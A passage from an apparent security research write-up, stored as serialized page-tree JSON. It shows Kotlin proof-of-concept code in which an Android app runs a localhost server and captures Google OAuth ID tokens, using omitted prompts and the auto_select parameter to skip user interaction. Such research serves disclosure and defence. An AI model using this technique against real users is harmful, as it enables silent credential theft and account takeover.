e)\n",{"type":26,"tag":217,"props":64999,"children":65000},{"class":7028,"line":7524},[65001],{"type":26,"tag":217,"props":65002,"children":65003},{"style":7048},[65004],{"type":32,"value":36205},{"type":26,"tag":217,"props":65006,"children":65007},{"class":7028,"line":7553},[65008],{"type":26,"tag":217,"props":65009,"children":65010},{"style":7048},[65011],{"type":32,"value":8722},{"type":26,"tag":217,"props":65013,"children":65014},{"class":7028,"line":7570},[65015],{"type":26,"tag":217,"props":65016,"children":65017},{"emptyLinePlaceholder":17},[65018],{"type":32,"value":7817},{"type":26,"tag":217,"props":65020,"children":65021},{"class":7028,"line":7621},[65022],{"type":26,"tag":217,"props":65023,"children":65024},{"style":7033},[65025],{"type":32,"value":65026},"        // Open the Google OAuth page\n",{"type":26,"tag":217,"props":65028,"children":65029},{"class":7028,"line":7672},[65030,65035,65040,65044],{"type":26,"tag":217,"props":65031,"children":65032},{"style":7154},[65033],{"type":32,"value":65034},"        val",{"type":26,"tag":217,"props":65036,"children":65037},{"style":7048},[65038],{"type":32,"value":65039}," googleOAuthUrl ",{"type":26,"tag":217,"props":65041,"children":65042},{"style":7149},[65043],{"type":32,"value":267},{"type":26,"tag":217,"props":65045,"children":65046},{"style":7338},[65047],{"type":32,"value":65048}," \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n",{"type":26,"tag":217,"props":65050,"children":65051},{"class":7028,"line":7681},[65052,65056,65061,65065,65070,65075,65080],{"type":26,"tag":217,"props":65053,"children":65054},{"style":7154},[65055],{"type":32,"value":65034},{"type":26,"tag":217,"props":65057,"children":65058},{"style":7048},[65059],{"type":32,"value":65060}," browserIntent ",{"type":26,"tag":217,"props":65062,"children":65063},{"style":7149},[65064],{"type":32,"value":267},{"type":26,"tag":217,"props":65066,"children":65067},{"style":7064},[65068],{"type":32,"value":65069}," Intent",{"type":26,"tag":217,"props":65071,"children":65072},{"style":7048},[65073],{"type":32,"value":65074},"(Intent.ACTION_VIEW, Uri.",{"type":26,"tag":217,"props":65076,"children":65077},{"style":7064},[65078],{"type":32,"value":65079},"parse",{"type":26,"tag":217,"props":65081,"children":65082},{"style":7048},[65083],{"type":32,"value":65084},"(googleOAuthUrl))\n",{"type":26,"tag":217,"props":65086,"children":65087},{"class":7028,"line":7754},[65088,65093],{"type":26,"tag":217,"props":65089,"children":65090},{"style":7064},[65091],{"type":32,"value":65092},"        startActivity",{"type":26,"tag":217,"props":65094,"children":65095},{"style":7048},[65096],{"type":32,"value":65097},"(browserIntent)\n",{"type":26,"tag":217,"props":65099,"children":65100},{"class":7028,"line":7784},[65101],{"type":26,"tag":217,"props":65102,"children":65103},{"style":7048},[65104],{"type":32,"value":9754},{"type":26,"tag":217,"props":65106,"children":65107},{"class":7028,"line":7802},[65108],{"type":26,"tag":217,"props":65109,"children":65110},{"emptyLinePlaceholder":17},[65111],{"type":32,"value":7817},{"type":26,"tag":217,"props":65113,"children":65114},{"class":7028,"line":7811},[65115,65119,65123,65128],{"type":26,"tag":217,"props":65116,"children":65117},{"style":7154},[65118],{"type":32,"value":8931},{"type":26,"tag":217,"props":65120,"children":65121},{"style":7154},[65122],{"type":32,"value":64784},{"type":26,"tag":217,"props":65124,"children":65125},{"style":7064},[65126],{"type":32,"value":65127}," startWebServer",{"type":26,"tag":217,"props":65129,"children":65130},{"style":7048},[65131],{"type":32,"value":7841},{"type":26,"tag":217,"props":65133,"children":65134},{"class":7028,"line":7820},[65135,65140,65145,65149,65154],{"type":26,"tag":217,"props":65136,"children":65137},{"style":7064},[65138],{"type":32,"value":65139},"        embeddedServer",{"type":26,"tag":217,"props":65141,"children":65142},{"style":7048},[65143],{"type":32,"value":65144},"(CIO, port ",{"type":26,"tag":217,"props":65146,"children":65147},{"style":7149},[65148],{"type":32,"value":267},{"type":26,"tag":217,"props":65150,"children":65151},{"style":7130},[65152],{"type":32,"value":65153}," 3000",{"type":26,"tag":217,"props":65155,"children":65156},{"style":7048},[65157],{"type":32,"value":7618},{"type":26,"tag":217,"props":65159,"children":65160},{"class":7028,"line":7844},[65161,65166],{"type":26,"tag":217,"props":65162,"children":65163},{"style":7064},[65164],{"type":32,"value":65165},"            routing",{"type":26,"tag":217,"props":65167,"children":65168},{"style":7048},[65169],{"type":32,"value":8064},{"type":26,"tag":217,"props":65171,"children":65172},{"class":7028,"line":7910},[65173,65178,65182,65187],{"type":26,"tag":217,"props":65174,"children":65175},{"style":7154},[65176],{"type":32,"value":65177},"                get",{"type":26,"tag":217,"props":65179,"children":65180},{"style":7048},[65181],{"type":32,"value":1851},{"type":26,"tag":217,"props":65183,"children":65184},{"style":7338},[65185],{"type":32,"value":65186},"\"{...}\"",{"type":26,"tag":217,"props":65188,"children":65189},{"style":7048},[65190],{"type":32,"value":7618},{"type":26,"tag":217,"props":65192,"children":65193},{"class":7028,"line":7954},[65194,65199,65204],{"type":26,"tag":217,"props":65195,"children":65196},{"style":7048},[65197],{"type":32,"value":65198},"                    call.",{"type":26,"tag":217,"props":65200,"children":65201},{"style":7064},[65202],{"type":32,"value":65203},"respondHtml",{"type":26,"tag":217,"props":65205,"children":65206},{"style":7048},[65207],{"type":32,"value":8064},{"type":26,"tag":217,"props":65209,"children":65210},{"class":7028,"line":7985},[65211,65216],{"type":26,"tag":217,"props":65212,"children":65213},{"style":7064},[65214],{"type":32,"value":65215},"                        head",{"type":26,"tag":217,"props":65217,"children":65218},{"style":7048},[65219],{"type":32,"value":8064},{"type":26,"tag":217,"props":65221,"children":65222},{"class":7028,"line":8027},[65223,65228,65233,65237,65242],{"type":26,"tag":217,"props":65224,"children":65225},{"style":7064},[65226],{"type":32,"value":65227},"                            meta",{"type":26,"tag":217,"props":65229,"children":65230},{"style":7048},[65231],{"type":32,"value":65232},"(charset ",{"type":26,"tag":217,"props":65234,"children":65235},{"style":7149},[65236],{"type":32,"value":267},{"type":26,"tag":217,"props":65238,"children":65239},{"style":7338},[65240],{"type":32,"value":65241}," \"UTF-8\"",{"type":26,"tag":217,"props":65243,"children":65244},{"style":7048},[65245],{"type":32,"value":10025},{"type":26,"tag":217,"props":65247,"children":65248},{"class":7028,"line":8035},[65249,65253,65258,65262,65267,65272,65276,65281],{"type":26,"tag":217,"props":65250,"children":65251},{"style":7064},[65252],{"type":32,"value":65227},{"type":26,"tag":217,"props":65254,"children":65255},{"style":7048},[65256],{"type":32,"value":65257},"(name ",{"type":26,"tag":217,"props":65259,"children":65260},{"style":7149},[65261],{"type":32,"value":267},{"type":26,"tag":217,"props":65263,"children":65264},{"style":7338},[65265],{"type":32,"value":65266}," \"viewport\"",{"type":26,"tag":217,"props":65268,"children":65269},{"style":7048},[65270],{"type":32,"value":65271},", content ",{"type":26,"tag":217,"props":65273,"children":65274},{"style":7149},[65275],{"type":32,"value":267},{"type":26,"tag":217,"props":65277,"children":65278},{"style":7338},[65279],{"type":32,"value":65280}," \"width=device-width, initial-scale=1.0\"",{"type":26,"tag":217,"props":65282,"children":65283},{"style":7048},[65284],{"type":32,"value":10025},{"type":26,"tag":217,"props":65286,"children":65287},{"class":7028,"line":8067},[65288,65293,65297,65302],{"type":26,"tag":217,"props":65289,"children":65290},{"style":7064},[65291],{"type":32,"value":65292},"                            title",{"type":26,"tag":217,"props":65294,"children":65295},{"style":7048},[65296],{"type":32,"value":1851},{"type":26,"tag":217,"props":65298,"children":65299},{"style":7338},[65300],{"type":32,"value":65301},"\"OAuth Redirect\"",{"type":26,"tag":217,"props":65303,"children":65304},{"style":7048},[65305],{"type":32,"value":10025},{"type":26,"tag":217,"props":65307,"children":65308},{"class":7028,"line":8107},[65309],{"type":26,"tag":217,"props":65310,"children":65311},{"style":7048},[65312],{"type":32,"value":63178},{"type":26,"tag":217,"props":65314,"children":65315},{"class":7028,"line":8145},[65316,65321],{"type":26,"tag":217,"props":65317,"children":65318},{"style":7064},[65319],{"type":32,"value":65320},"                        body",{"type":26,"tag":217,"props":65322,"children":65323},{"style":7048},[65324],{"type":32,"value":8064},{"type":26,"tag":217,"props":65326,"children":65327},{"class":7028,"line":8154},[65328,65333,65338,65342,65347],{"type":26,"tag":217,"props":65329,"children":65330},{"style":7064},[65331],{"type":32,"value":65332},"                            h1",{"type":26,"tag":217,"props":65334,"children":65335},{"style":7048},[65336],{"type":32,"value":65337}," { ",{"type":26,"tag":217,"props":65339,"children":65340},{"style":7149},[65341],{"type":32,"value":3540},{"type":26,"tag":217,"props":65343,"children":65344},{"style":7338},[65345],{"type":32,"value":65346},"\"Google OAuth Redirect\"",{"type":26,"tag":217,"props":65348,"children":65349},{"style":7048},[65350],{"type":32,"value":65351}," }\n",{"type":26,"tag":217,"props":65353,"children":65354},{"class":7028,"line":8162},[65355,65360],{"type":26,"tag":217,"props":65356,"children":65357},{"style":7064},[65358],{"type":32,"value":65359},"                            script",{"type":26,"tag":217,"props":65361,"children":65362},{"style":7048},[65363],{"type":32,"value":8064},{"type":26,"tag":217,"props":65365,"children":65366},{"class":7028,"line":8197},[65367,65372],{"type":26,"tag":217,"props":65368,"children":65369},{"style":7149},[65370],{"type":32,"value":65371},"                                +",{"type":26,"tag":217,"props":65373,"children":65374},{"style":7338},[65375],{"type":32,"value":65376},"\"document.body.innerText = location.hash;\"\n",{"type":26,"tag":217,"props":65378,"children":65379},{"class":7028,"line":8220},[65380],{"type":26,"tag":217,"props":65381,"children":65382},{"style":7048},[65383],{"type":32,"value":65384},"                            }\n",{"type":26,"tag":217,"props":65386,"children":65387},{"class":7028,"line":8228},[65388],{"type":26,"tag":217,"props":65389,"children":65390},{"style":7048},[65391],{"type":32,"value":63178},{"type":26,"tag":217,"props":65393,"children":65394},{"class":7028,"line":8292},[65395],{"type":26,"tag":217,"props":65396,"children":65397},{"style":7048},[65398],{"type":32,"value":63186},{"type":26,"tag":217,"props":65400,"children":65401},{"class":7028,"line":8351},[65402],{"type":26,"tag":217,"props":65403,"children":65404},{"style":7048},[65405],{"type":32,"value":13407},{"type":26,"tag":217,"props":65407,"children":65408},{"class":7028,"line":8391},[65409],{"type":26,"tag":217,"props":65410,"children":65411},{"style":7048},[65412],{"type":32,"value":36205},{"type":26,"tag":217,"props":65414,"children":65415},{"class":7028,"line":8439},[65416,65421,65425,65430,65434,65438],{"type":26,"tag":217,"props":65417,"children":65418},{"style":7048},[65419],{"type":32,"value":65420},"        }.",{"type":26,"tag":217,"props":65422,"children":65423},{"style":7064},[65424],{"type":32,"value":25299},{"type":26,"tag":217,"props":65426,"children":65427},{"style":7048},[65428],{"type":32,"value":65429},"(wait ",{"type":26,"tag":217,"props":65431,"children":65432},{"style":7149},[65433],{"type":32,"value":267},{"type":26,"tag":217,"props":65435,"children":65436},{"style":7154},[65437],{"type":32,"value":7902},{"type":26,"tag":217,"props":65439,"children":65440},{"style":7048},[65441],{"type":32,"value":10025},{"type":26,"tag":217,"props":65443,"children":65444},{"class":7028,"line":8448},[65445],{"type":26,"tag":217,"props":65446,"children":65447},{"style":7048},[65448],{"type":32,"value":9754},{"type":26,"tag":39,"props":65450,"children":65451},{},[65452],{"type":32,"value":65453},"In this case, the prompt parameter can be omitted from the URL. This way, if the victim is already logged in, the OAuth 2.0 prompt interaction will be skipped.",{"type":26,"tag":39,"props":65455,"children":65456},{},[65457,65459,65465],{"type":32,"value":65458},"If Google Sign-In (GSI) is being used, we found that it's possible to use the ",{"type":26,"tag":83,"props":65460,"children":65462},{"className":65461},[],[65463],{"type":32,"value":65464},"auto_select",{"type":32,"value":65466}," parameter to trigger automatic reauthentication and bypass user interaction:",{"type":26,"tag":207,"props":65468,"children":65470},{"className":64765,"code":65469,"language":64767,"meta":8,"style":8},"    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(\"http://localhost:3000\"))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            title(\"Test\")\n                            script {\n                                src = \"https://accounts.google.com/gsi/client\"\n                                attributes[\"async\"] = \"\"\n                                attributes[\"defer\"] = \"\"\n                            }\n                            script {\n                                unsafe {\n                                    +\"\"\"\n    function handleCredentialResponse(response) {\n      alert(\"credential: \" + response.credential);\n    }\n\n    window.onload = async function () {\n      const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n      const client_id = oauth_url.searchParams.get(\"client_id\");\n      google.accounts.id.initialize({\n        client_id: client_id,\n        callback: handleCredentialResponse,\n        auto_select: true\n      });\n\n      google.accounts.id.renderButton(\n        document.getElementById(\"g_id_signin\"),\n        { theme: \"outline\", size: \"large\" }\n      );\n\n      google.accounts.id.prompt();\n    };\n                                    \"\"\".trimIndent()\n                                }\n                            }\n                        }\n                        body {\n                            h1 { +\"Login here:\" }\n                            div {\n                                id = \"g_id_signin\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n",[65471],{"type":26,"tag":83,"props":65472,"children":65473},{"__ignoreMap":8},[65474,65503,65522,65529,65548,65559,65570,65601,65624,65671,65678,65685,65692,65732,65743,65750,65757,65776,65799,65810,65829,65844,65855,65875,65886,65903,65929,65953,65960,65971,65983,65996,66004,66012,66019,66026,66034,66042,66050,66058,66066,66074,66082,66090,66097,66105,66113,66121,66129,66136,66144,66151,66172,66180,66187,66194,66205,66229,66241,66258,66265,66272,66279,66286,66293,66320],{"type":26,"tag":217,"props":65475,"children":65476},{"class":7028,"line":7029},[65477,65482,65486,65490,65494,65498],{"type":26,"tag":217,"props":65478,"children":65479},{"style":7154},[65480],{"type":32,"value":65481},"    override",{"type":26,"tag":217,"props":65483,"children":65484},{"style":7154},[65485],{"type":32,"value":64784},{"type":26,"tag":217,"props":65487,"children":65488},{"style":7064},[65489],{"type":32,"value":64789},{"type":26,"tag":217,"props":65491,"children":65492},{"style":7048},[65493],{"type":32,"value":64794},{"type":26,"tag":217,"props":65495,"children":65496},{"style":7119},[65497],{"type":32,"value":64799},{"type":26,"tag":217,"props":65499,"children":65500},{"style":7048},[65501],{"type":32,"value":65502},"?) {\n",{"type":26,"tag":217,"props":65504,"children":65505},{"class":7028,"line":6770},[65506,65510,65514,65518],{"type":26,"tag":217,"props":65507,"children":65508},{"style":7154},[65509],{"type":32,"value":64812},{"type":26,"tag":217,"props":65511,"children":65512},{"style":7048},[65513],{"type":32,"value":180},{"type":26,"tag":217,"props":65515,"children":65516},{"style":7064},[65517],{"type":32,"value":64821},{"type":26,"tag":217,"props":65519,"children":65520},{"style":7048},[65521],{"type":32,"value":64826},{"type":26,"tag":217,"props":65523,"children":65524},{"class":7028,"line":6779},[65525],{"type":26,"tag":217,"props":65526,"children":65527},{"emptyLinePlaceholder":17},[65528],{"type":32,"value":7817},{"type":26,"tag":217,"props":65530,"children":65531},{"class":7028,"line":7140},[65532,65536,65540,65544],{"type":26,"tag":217,"props":65533,"children":65534},{"style":7064},[65535],{"type":32,"value":64849},{"type":26,"tag":217,"props":65537,"children":65538},{"style":7048},[65539],{"type":32,"value":64854},{"type":26,"tag":217,"props":65541,"children":65542},{"style":7064},[65543],{"type":32,"value":64859},{"type":26,"tag":217,"props":65545,"children":65546},{"style":7048},[65547],{"type":32,"value":8064},{"type":26,"tag":217,"props":65549,"children":65550},{"class":7028,"line":7165},[65551,65555],{"type":26,"tag":217,"props":65552,"children":65553},{"style":7042},[65554],{"type":32,"value":64871},{"type":26,"tag":217,"props":65556,"children":65557},{"style":7048},[65558],{"type":32,"value":8064},{"type":26,"tag":217,"props":65560,"children":65561},{"class":7028,"line":7178},[65562,65566],{"type":26,"tag":217,"props":65563,"children":65564},{"style":7064},[65565],{"type":32,"value":64883},{"type":26,"tag":217,"props":65567,"children":65568},{"style":7048},[65569],{"type":32,"value":64888},{"type":26,"tag":217,"props":65571,"children":65572},{"class":7028,"line":7389},[65573,65577,65581,65585,65589,65593,65597],{"type":26,"tag":217,"props":65574,"children":65575},{"style":7048},[65576],{"type":32,"value":64896},{"type":26,"tag":217,"props":65578,"children":65579},{"style":7064},[65580],{"type":32,"value":22057},{"type":26,"tag":217,"props":65582,"children":65583},{"style":7048},[65584],{"type":32,"value":1851},{"type":26,"tag":217,"props":65586,"children":65587},{"style":7338},[65588],{"type":32,"value":64909},{"type":26,"tag":217,"props":65590,"children":65591},{"style":7048},[65592],{"type":32,"value":7599},{"type":26,"tag":217,"props":65594,"children":65595},{"style":7338},[65596],{"type":32,"value":64918},{"type":26,"tag":217,"props":65598,"children":65599},{"style":7048},[65600],{"type":32,"value":10025},{"type":26,"tag":217,"props":65602,"children":65603},{"class":7028,"line":7406},[65604,65608,65612,65616,65620],{"type":26,"tag":217,"props":65605,"children":65606},{"style":7048},[65607],{"type":32,"value":60702},{"type":26,"tag":217,"props":65609,"children":65610},{"style":7154},[65611],{"type":32,"value":24775},{"type":26,"tag":217,"props":65613,"children":65614},{"style":7048},[65615],{"type":32,"value":64938},{"type":26,"tag":217,"props":65617,"children":65618},{"style":7119},[65619],{"type":32,"value":64943},{"type":26,"tag":217,"props":65621,"children":65622},{"style":7048},[65623],{"type":32,"value":7618},{"type":26,"tag":217,"props":65625,"children":65626},{"class":7028,"line":7439},[65627,65631,65635,65639,65643,65647,65651,65655,65659,65663,65667],{"type":26,"tag":217,"props":65628,"children":65629},{"style":7048},[65630],{"type":32,"value":64896},{"type":26,"tag":217,"props":65632,"children":65633},{"style":7064},[65634],{"type":32,"value":2400},{"type":26,"tag":217,"props":65636,"children":65637},{"style":7048},[65638],{"type":32,"value":1851},{"type":26,"tag":217,"props":65640,"children":65641},{"style":7338},[65642],{"type":32,"value":64909},{"type":26,"tag":217,"props":65644,"children":65645},{"style":7048},[65646],{"type":32,"value":7599},{"type":26,"tag":217,"props":65648,"children":65649},{"style":7338},[65650],{"type":32,"value":64975},{"type":26,"tag":217,"props":65652,"children":65653},{"style":7154},[65654],{"type":32,"value":7641},{"type":26,"tag":217,"props":65656,"children":65657},{"style":7149},[65658],{"type":32,"value":64984},{"type":26,"tag":217,"props":65660,"children":65661},{"style":7154},[65662],{"type":32,"value":7659},{"type":26,"tag":217,"props":65664,"children":65665},{"style":7338},[65666],{"type":32,"value":9007},{"type":26,"tag":217,"props":65668,"children":65669},{"style":7048},[65670],{"type":32,"value":64997},{"type":26,"tag":217,"props":65672,"children":65673},{"class":7028,"line":7487},[65674],{"type":26,"tag":217,"props":65675,"children":65676},{"style":7048},[65677],{"type":32,"value":36205},{"type":26,"tag":217,"props":65679,"children":65680},{"class":7028,"line":7524},[65681],{"type":26,"tag":217,"props":65682,"children":65683},{"style":7048},[65684],{"type":32,"value":8722},{"type":26,"tag":217,"props":65686,"children":65687},{"class":7028,"line":7553},[65688],{"type":26,"tag":217,"props":65689,"children":65690},{"emptyLinePlaceholder":17},[65691],{"type":32,"value":7817},{"type":26,"tag":217,"props":65693,"children":65694},{"class":7028,"line":7570},[65695,65699,65703,65707,65711,65715,65719,65723,65728],{"type":26,"tag":217,"props":65696,"children":65697},{"style":7154},[65698],{"type":32,"value":65034},{"type":26,"tag":217,"props":65700,"children":65701},{"style":7048},[65702],{"type":32,"value":65060},{"type":26,"tag":217,"props":65704,"children":65705},{"style":7149},[65706],{"type":32,"value":267},{"type":26,"tag":217,"props":65708,"children":65709},{"style":7064},[65710],{"type":32,"value":65069},{"type":26,"tag":217,"props":65712,"children":65713},{"style":7048},[65714],{"type":32,"value":65074},{"type":26,"tag":217,"props":65716,"children":65717},{"style":7064},[65718],{"type":32,"value":65079},{"type":26,"tag":217,"props":65720,"children":65721},{"style":7048},[65722],{"type":32,"value":1851},{"type":26,"tag":217,"props":65724,"children":65725},{"style":7338},[65726],{"type":32,"value":65727},"\"http://localhost:3000\"",{"type":26,"tag":217,"props":65729,"children":65730},{"style":7048},[65731],{"type":32,"value":18548},{"type":26,"tag":217,"props":65733,"children":65734},{"class":7028,"line":7621},[65735,65739],{"type":26,"tag":217,"props":65736,"children":65737},{"style":7064},[65738],{"type":32,"value":65092},{"type":26,"tag":217,"props":65740,"children":65741},{"style":7048},[65742],{"type":32,"value":65097},{"type":26,"tag":217,"props":65744,"children":65745},{"class":7028,"line":7672},[65746],{"type":26,"tag":217,"props":65747,"children":65748},{"style":7048},[65749],{"type":32,"value":9754},{"type":26,"tag":217,"props":65751,"children":65752},{"class":7028,"line":7681},[65753],{"type":26,"tag":217,"props":65754,"children":65755},{"emptyLinePlaceholder":17},[65756],{"type":32,"value":7817},{"type":26,"tag":217,"props":65758,"children":65759},{"class":7028,"line":7754},[65760,65764,65768,65772],{"type":26,"tag":217,"props":65761,"children":65762},{"style":7154},[65763],{"type":32,"value":8931},{"type":26,"tag":217,"props":65765,"children":65766},{"style":7154},[65767],{"type":32,"value":64784},{"type":26,"tag":217,"props":65769,"children":65770},{"style":7064},[65771],{"type":32,"value":65127},{"type":26,"tag":217,"props":65773,"children":65774},{"style":7048},[65775],{"type":32,"value":7841},{"type":26,"tag":217,"props":65777,"children":65778},{"class":7028,"line":7784},[65779,65783,65787,65791,65795],{"type":26,"tag":217,"props":65780,"children":65781},{"style":7064},[65782],{"type":32,"value":65139},{"type":26,"tag":217,"props":65784,"children":65785},{"style":7048},[65786],{"type":32,"value":65144},{"type":26,"tag":217,"props":65788,"children":65789},{"style":7149},[65790],{"type":32,"value":267},{"type":26,"tag":217,"props":65792,"children":65793},{"style":7130},[65794],{"type":32,"value":65153},{"type":26,"tag":217,"props":65796,"children":65797},{"style":7048},[65798],{"type":32,"value":7618},{"type":26,"tag":217,"props":65800,"children":65801},{"class":7028,"line":7802},[65802,65806],{"type":26,"tag":217,"props":65803,"children":65804},{"style":7064},[65805],{"type":32,"value":65165},{"type":26,"tag":217,"props":65807,"children":65808},{"style":7048},[65809],{"type":32,"value":8064},{"type":26,"tag":217,"props":65811,"children":65812},{"class":7028,"line":7811},[65813,65817,65821,65825],{"type":26,"tag":217,"props":65814,"children":65815},{"style":7154},[65816],{"type":32,"value":65177},{"type":26,"tag":217,"props":65818,"children":65819},{"style":7048},[65820],{"type":32,"value":1851},{"type":26,"tag":217,"props":65822,"children":65823},{"style":7338},[65824],{"type":32,"value":65186},{"type":26,"tag":217,"props":65826,"children":65827},{"style":7048},[65828],{"type":32,"value":7618},{"type":26,"tag":217,"props":65830,"children":65831},{"class":7028,"line":7820},[65832,65836,65840],{"type":26,"tag":217,"props":65833,"children":65834},{"style":7048},[65835],{"type":32,"value":65198},{"type":26,"tag":217,"props":65837,"children":65838},{"style":7064},[65839],{"type":32,"value":65203},{"type":26,"tag":217,"props":65841,"children":65842},{"style":7048},[65843],{"type":32,"value":8064},{"type":26,"tag":217,"props":65845,"children":65846},{"class":7028,"line":7844},[65847,65851],{"type":26,"tag":217,"props":65848,"children":65849},{"style":7064},[65850],{"type":32,"value":65215},{"type":26,"tag":217,"props":65852,"children":65853},{"style":7048},[65854],{"type":32,"value":8064},{"type":26,"tag":217,"props":65856,"children":65857},{"class":7028,"line":7910},[65858,65862,65866,65871],{"type":26,"tag":217,"props":65859,"children":65860},{"style":7064},[65861],{"type":32,"value":65292},{"type":26,"tag":217,"props":65863,"children":65864},{"style":7048},[65865],{"type":32,"value":1851},{"type":26,"tag":217,"props":65867,"children":65868},{"style":7338},[65869],{"type":32,"value":65870},"\"Test\"",{"type":26,"tag":217,"props":65872,"children":65873},{"style":7048},[65874],{"type":32,"value":10025},{"type":26,"tag":217,"props":65876,"children":65877},{"class":7028,"line":7954},[65878,65882],{"type":26,"tag":217,"props":65879,"children":65880},{"style":7064},[65881],{"type":32,"value":65359},{"type":26,"tag":217,"props":65883,"children":65884},{"style":7048},[65885],{"type":32,"value":8064},{"type":26,"tag":217,"props":65887,"children":65888},{"class":7028,"line":7985},[65889,65894,65898],{"type":26,"tag":217,"props":65890,"children":65891},{"style":7048},[65892],{"type":32,"value":65893},"                                src ",{"type":26,"tag":217,"props":65895,"children":65896},{"style":7149},[65897],{"type":32,"value":267},{"type":26,"tag":217,"props":65899,"children":65900},{"style":7338},[65901],{"type":32,"value":65902}," \"https://accounts.google.com/gsi/client\"\n",{"type":26,"tag":217,"props":65904,"children":65905},{"class":7028,"line":8027},[65906,65911,65916,65920,65924],{"type":26,"tag":217,"props":65907,"children":65908},{"style":7048},[65909],{"type":32,"value":65910},"                                attributes[",{"type":26,"tag":217,"props":65912,"children":65913},{"style":7338},[65914],{"type":32,"value":65915},"\"async\"",{"type":26,"tag":217,"props":65917,"children":65918},{"style":7048},[65919],{"type":32,"value":10276},{"type":26,"tag":217,"props":65921,"children":65922},{"style":7149},[65923],{"type":32,"value":267},{"type":26,"tag":217,"props":65925,"children":65926},{"style":7338},[65927],{"type":32,"value":65928}," \"\"\n",{"type":26,"tag":217,"props":65930,"children":65931},{"class":7028,"line":8035},[65932,65936,65941,65945,65949],{"type":26,"tag":217,"props":65933,"children":65934},{"style":7048},[65935],{"type":32,"value":65910},{"type":26,"tag":217,"props":65937,"children":65938},{"style":7338},[65939],{"type":32,"value":65940},"\"defer\"",{"type":26,"tag":217,"props":65942,"children":65943},{"style":7048},[65944],{"type":32,"value":10276},{"type":26,"tag":217,"props":65946,"children":65947},{"style":7149},[65948],{"type":32,"value":267},{"type":26,"tag":217,"props":65950,"children":65951},{"style":7338},[65952],{"type":32,"value":65928},{"type":26,"tag":217,"props":65954,"children":65955},{"class":7028,"line":8067},[65956],{"type":26,"tag":217,"props":65957,"children":65958},{"style":7048},[65959],{"type":32,"value":65384},{"type":26,"tag":217,"props":65961,"children":65962},{"class":7028,"line":8107},[65963,65967],{"type":26,"tag":217,"props":65964,"children":65965},{"style":7064},[65966],{"type":32,"value":65359},{"type":26,"tag":217,"props":65968,"children":65969},{"style":7048},[65970],{"type":32,"value":8064},{"type":26,"tag":217,"props":65972,"children":65973},{"class":7028,"line":8145},[65974,65979],{"type":26,"tag":217,"props":65975,"children":65976},{"style":7064},[65977],{"type":32,"value":65978},"                                unsafe",{"type":26,"tag":217,"props":65980,"children":65981},{"style":7048},[65982],{"type":32,"value":8064},{"type":26,"tag":217,"props":65984,"children":65985},{"class":7028,"line":8154},[65986,65991],{"type":26,"tag":217,"props":65987,"children":65988},{"style":7149},[65989],{"type":32,"value":65990},"                                    +",{"type":26,"tag":217,"props":65992,"children":65993},{"style":7338},[65994],{"type":32,"value":65995},"\"\"\"\n",{"type":26,"tag":217,"props":65997,"children":65998},{"class":7028,"line":8162},[65999],{"type":26,"tag":217,"props":66000,"children":66001},{"style":7338},[66002],{"type":32,"value":66003},"    function handleCredentialResponse(response) {\n",{"type":26,"tag":217,"props":66005,"children":66006},{"class":7028,"line":8197},[66007],{"type":26,"tag":217,"props":66008,"children":66009},{"style":7338},[66010],{"type":32,"value":66011},"      alert(\"credential: \" + response.credential);\n",{"type":26,"tag":217,"props":66013,"children":66014},{"class":7028,"line":8220},[66015],{"type":26,"tag":217,"props":66016,"children":66017},{"style":7338},[66018],{"type":32,"value":9754},{"type":26,"tag":217,"props":66020,"children":66021},{"class":7028,"line":8228},[66022],{"type":26,"tag":217,"props":66023,"children":66024},{"emptyLinePlaceholder":17},[66025],{"type":32,"value":7817},{"type":26,"tag":217,"props":66027,"children":66028},{"class":7028,"line":8292},[66029],{"type":26,"tag":217,"props":66030,"children":66031},{"style":7338},[66032],{"type":32,"value":66033},"    window.onload = async function () {\n",{"type":26,"tag":217,"props":66035,"children":66036},{"class":7028,"line":8351},[66037],{"type":26,"tag":217,"props":66038,"children":66039},{"style":7338},[66040],{"type":32,"value":66041},"      const oauth_url = new 